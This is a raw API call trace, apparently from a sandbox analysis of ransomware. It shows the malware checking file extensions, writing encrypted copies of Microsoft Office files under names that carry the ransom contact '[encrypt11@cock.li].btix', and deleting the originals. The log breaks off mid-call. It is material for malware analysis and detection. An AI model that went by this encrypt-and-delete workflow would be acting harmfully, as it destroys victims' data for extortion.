lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll") returned 61 [0158.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll") returned 61 [0158.389] lstrlenW (lpString=".doc") returned 4 [0158.389] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.389] lstrlenW (lpString=".docx") returned 5 [0158.389] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0158.389] lstrlenW (lpString=".pdf") returned 4 [0158.389] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.389] lstrlenW (lpString=".xls") returned 4 [0158.389] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.389] lstrlenW (lpString=".xlsx") returned 5 [0158.389] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0158.389] lstrlenW (lpString=".ppt") returned 4 [0158.389] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll") returned 61 [0158.389] lstrlenW (lpString=".zip") returned 4 [0158.389] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.389] lstrlenW (lpString=".rar") returned 4 [0158.389] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.389] lstrlenW (lpString=".bz2") returned 4 [0158.389] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.389] lstrlenW (lpString=".7z") returned 3 [0158.389] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll") returned 61 [0158.389] lstrlenW (lpString=".dbf") returned 4 [0158.389] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll") returned 61 [0158.390] lstrlenW (lpString=".1cd") returned 4 [0158.390] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll") returned 61 [0158.390] lstrlenW (lpString=".jpg") returned 4 [0158.390] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll") returned 61 [0158.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll") returned 61 [0158.390] lstrlenW (lpString=".doc") returned 4 [0158.390] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.390] lstrlenW (lpString=".docx") returned 5 [0158.390] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0158.390] lstrlenW (lpString=".pdf") returned 4 [0158.390] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.390] lstrlenW (lpString=".xls") returned 4 [0158.390] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.390] lstrlenW (lpString=".xlsx") returned 5 [0158.390] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0158.390] lstrlenW (lpString=".ppt") returned 4 [0158.390] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll") returned 61 [0158.390] lstrlenW (lpString=".zip") returned 4 [0158.390] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.390] lstrlenW (lpString=".rar") returned 4 [0158.390] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.390] lstrlenW (lpString=".bz2") returned 4 [0158.390] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.390] lstrlenW (lpString=".7z") returned 3 [0158.390] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll") returned 61 [0158.390] lstrlenW (lpString=".dbf") returned 4 [0158.390] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll") returned 61 [0158.390] lstrlenW (lpString=".1cd") returned 4 [0158.391] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll") returned 61 [0158.391] lstrlenW (lpString=".jpg") returned 4 [0158.391] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.391] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0158.391] lstrlenW (lpString="vcruntime140.dll") returned 16 [0158.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0158.391] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=88752) returned 1 [0158.391] CloseHandle (hObject=0x364) returned 1 [0158.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vcruntime140.dll")) returned 0x220 [0158.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\vcruntime140.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0158.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0158.392] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.392] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\vcruntime140.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0158.392] GetLastError () returned 0x0 [0158.392] ReadFile (in: hFile=0x364, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x15ab0, lpOverlapped=0x0) returned 1 [0158.685] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x15ac0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x15ac0, lpOverlapped=0x0) returned 1 [0158.686] ReadFile (in: hFile=0x364, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.686] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xf4, lpOverlapped=0x0) returned 1 [0158.687] SetEndOfFile (hFile=0x358) returned 1 [0158.687] CloseHandle (hObject=0x358) returned 1 [0158.687] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.687] SetEndOfFile (hFile=0x364) returned 1 [0158.702] CloseHandle (hObject=0x364) returned 1 [0158.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.702] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vcruntime140.dll")) returned 1 [0158.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll") returned 62 [0158.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll") returned 62 [0158.702] lstrlenW (lpString=".doc") returned 4 [0158.702] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.702] lstrlenW (lpString=".docx") returned 5 [0158.703] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0158.703] lstrlenW (lpString=".pdf") returned 4 [0158.703] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.703] lstrlenW (lpString=".xls") returned 4 [0158.703] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.703] lstrlenW (lpString=".xlsx") returned 5 [0158.703] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0158.703] lstrlenW (lpString=".ppt") returned 4 [0158.703] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll") returned 62 [0158.703] lstrlenW (lpString=".zip") returned 4 [0158.703] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.703] lstrlenW (lpString=".rar") returned 4 [0158.703] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.703] lstrlenW (lpString=".bz2") returned 4 [0158.703] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.703] lstrlenW (lpString=".7z") returned 3 [0158.703] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll") returned 62 [0158.703] lstrlenW (lpString=".dbf") returned 4 [0158.703] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll") returned 62 [0158.703] lstrlenW (lpString=".1cd") returned 4 [0158.703] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll") returned 62 [0158.703] lstrlenW (lpString=".jpg") returned 4 [0158.711] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll") returned 62 [0158.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll") returned 62 [0158.711] lstrlenW (lpString=".doc") returned 4 [0158.711] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.711] lstrlenW (lpString=".docx") returned 5 [0158.711] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0158.711] lstrlenW (lpString=".pdf") returned 4 [0158.711] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.711] lstrlenW (lpString=".xls") returned 4 [0158.711] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.711] lstrlenW (lpString=".xlsx") returned 5 [0158.711] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0158.711] lstrlenW (lpString=".ppt") returned 4 [0158.711] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll") returned 62 [0158.711] lstrlenW (lpString=".zip") returned 4 [0158.711] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.711] lstrlenW (lpString=".rar") returned 4 [0158.711] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.711] lstrlenW (lpString=".bz2") returned 4 [0158.711] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.711] lstrlenW (lpString=".7z") returned 3 [0158.711] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll") returned 62 [0158.711] lstrlenW (lpString=".dbf") returned 4 [0158.711] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll") returned 62 [0158.711] lstrlenW (lpString=".1cd") returned 4 [0158.711] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll") returned 62 [0158.711] lstrlenW (lpString=".jpg") returned 4 [0158.711] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.712] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0158.712] lstrlenW (lpString="JAVA_01.MID") returned 11 [0158.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0158.712] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=9797) returned 1 [0158.712] CloseHandle (hObject=0x364) returned 1 [0158.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 0x220 [0158.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0158.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0158.712] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.712] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0158.713] GetLastError () returned 0x0 [0158.713] ReadFile (in: hFile=0x364, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x2645, lpOverlapped=0x0) returned 1 [0158.714] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x2650, lpOverlapped=0x0) returned 1 [0158.715] ReadFile (in: hFile=0x364, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.715] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xea, lpOverlapped=0x0) returned 1 [0158.715] SetEndOfFile (hFile=0x358) returned 1 [0158.715] CloseHandle (hObject=0x358) returned 1 [0158.715] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.729] SetEndOfFile (hFile=0x364) returned 1 [0158.729] CloseHandle (hObject=0x364) returned 1 [0158.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 1 [0158.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0158.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0158.730] lstrlenW (lpString=".doc") returned 4 [0158.730] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.730] lstrlenW (lpString=".docx") returned 5 [0158.730] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.730] lstrlenW (lpString=".pdf") returned 4 [0158.730] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.730] lstrlenW (lpString=".xls") returned 4 [0158.730] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.730] lstrlenW (lpString=".xlsx") returned 5 [0158.730] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.730] lstrlenW (lpString=".ppt") returned 4 [0158.730] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0158.730] lstrlenW (lpString=".zip") returned 4 [0158.731] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.731] lstrlenW (lpString=".rar") returned 4 [0158.731] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.731] lstrlenW (lpString=".bz2") returned 4 [0158.731] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.731] lstrlenW (lpString=".7z") returned 3 [0158.731] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0158.731] lstrlenW (lpString=".dbf") returned 4 [0158.731] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0158.731] lstrlenW (lpString=".1cd") returned 4 [0158.731] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0158.731] lstrlenW (lpString=".jpg") returned 4 [0158.731] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0158.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0158.731] lstrlenW (lpString=".doc") returned 4 [0158.731] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.731] lstrlenW (lpString=".docx") returned 5 [0158.731] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.731] lstrlenW (lpString=".pdf") returned 4 [0158.731] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.731] lstrlenW (lpString=".xls") returned 4 [0158.731] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.731] lstrlenW (lpString=".xlsx") returned 5 [0158.731] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.731] lstrlenW (lpString=".ppt") returned 4 [0158.731] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0158.731] lstrlenW (lpString=".zip") returned 4 [0158.731] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.731] lstrlenW (lpString=".rar") returned 4 [0158.731] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.732] lstrlenW (lpString=".bz2") returned 4 [0158.732] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.732] lstrlenW (lpString=".7z") returned 3 [0158.732] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0158.732] lstrlenW (lpString=".dbf") returned 4 [0158.732] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0158.732] lstrlenW (lpString=".1cd") returned 4 [0158.732] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0158.732] lstrlenW (lpString=".jpg") returned 4 [0158.732] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.732] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0158.732] lstrlenW (lpString="JNGLE_01.MID") returned 12 [0158.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0158.732] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=5843) returned 1 [0158.732] CloseHandle (hObject=0x364) returned 1 [0158.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 0x220 [0158.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0158.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0158.733] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.733] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0158.733] GetLastError () returned 0x0 [0158.733] ReadFile (in: hFile=0x364, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x16d3, lpOverlapped=0x0) returned 1 [0158.734] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x16e0, lpOverlapped=0x0) returned 1 [0158.735] ReadFile (in: hFile=0x364, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.735] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.735] SetEndOfFile (hFile=0x358) returned 1 [0158.736] CloseHandle (hObject=0x358) returned 1 [0158.736] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.736] SetEndOfFile (hFile=0x364) returned 1 [0158.736] CloseHandle (hObject=0x364) returned 1 [0158.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.737] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 1 [0158.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0158.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0158.737] lstrlenW (lpString=".doc") returned 4 [0158.737] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.737] lstrlenW (lpString=".docx") returned 5 [0158.737] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.737] lstrlenW (lpString=".pdf") returned 4 [0158.737] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.737] lstrlenW (lpString=".xls") returned 4 [0158.737] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.737] lstrlenW (lpString=".xlsx") returned 5 [0158.737] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.737] lstrlenW (lpString=".ppt") returned 4 [0158.737] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0158.738] lstrlenW (lpString=".zip") returned 4 [0158.738] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.738] lstrlenW (lpString=".rar") returned 4 [0158.738] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.738] lstrlenW (lpString=".bz2") returned 4 [0158.738] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.738] lstrlenW 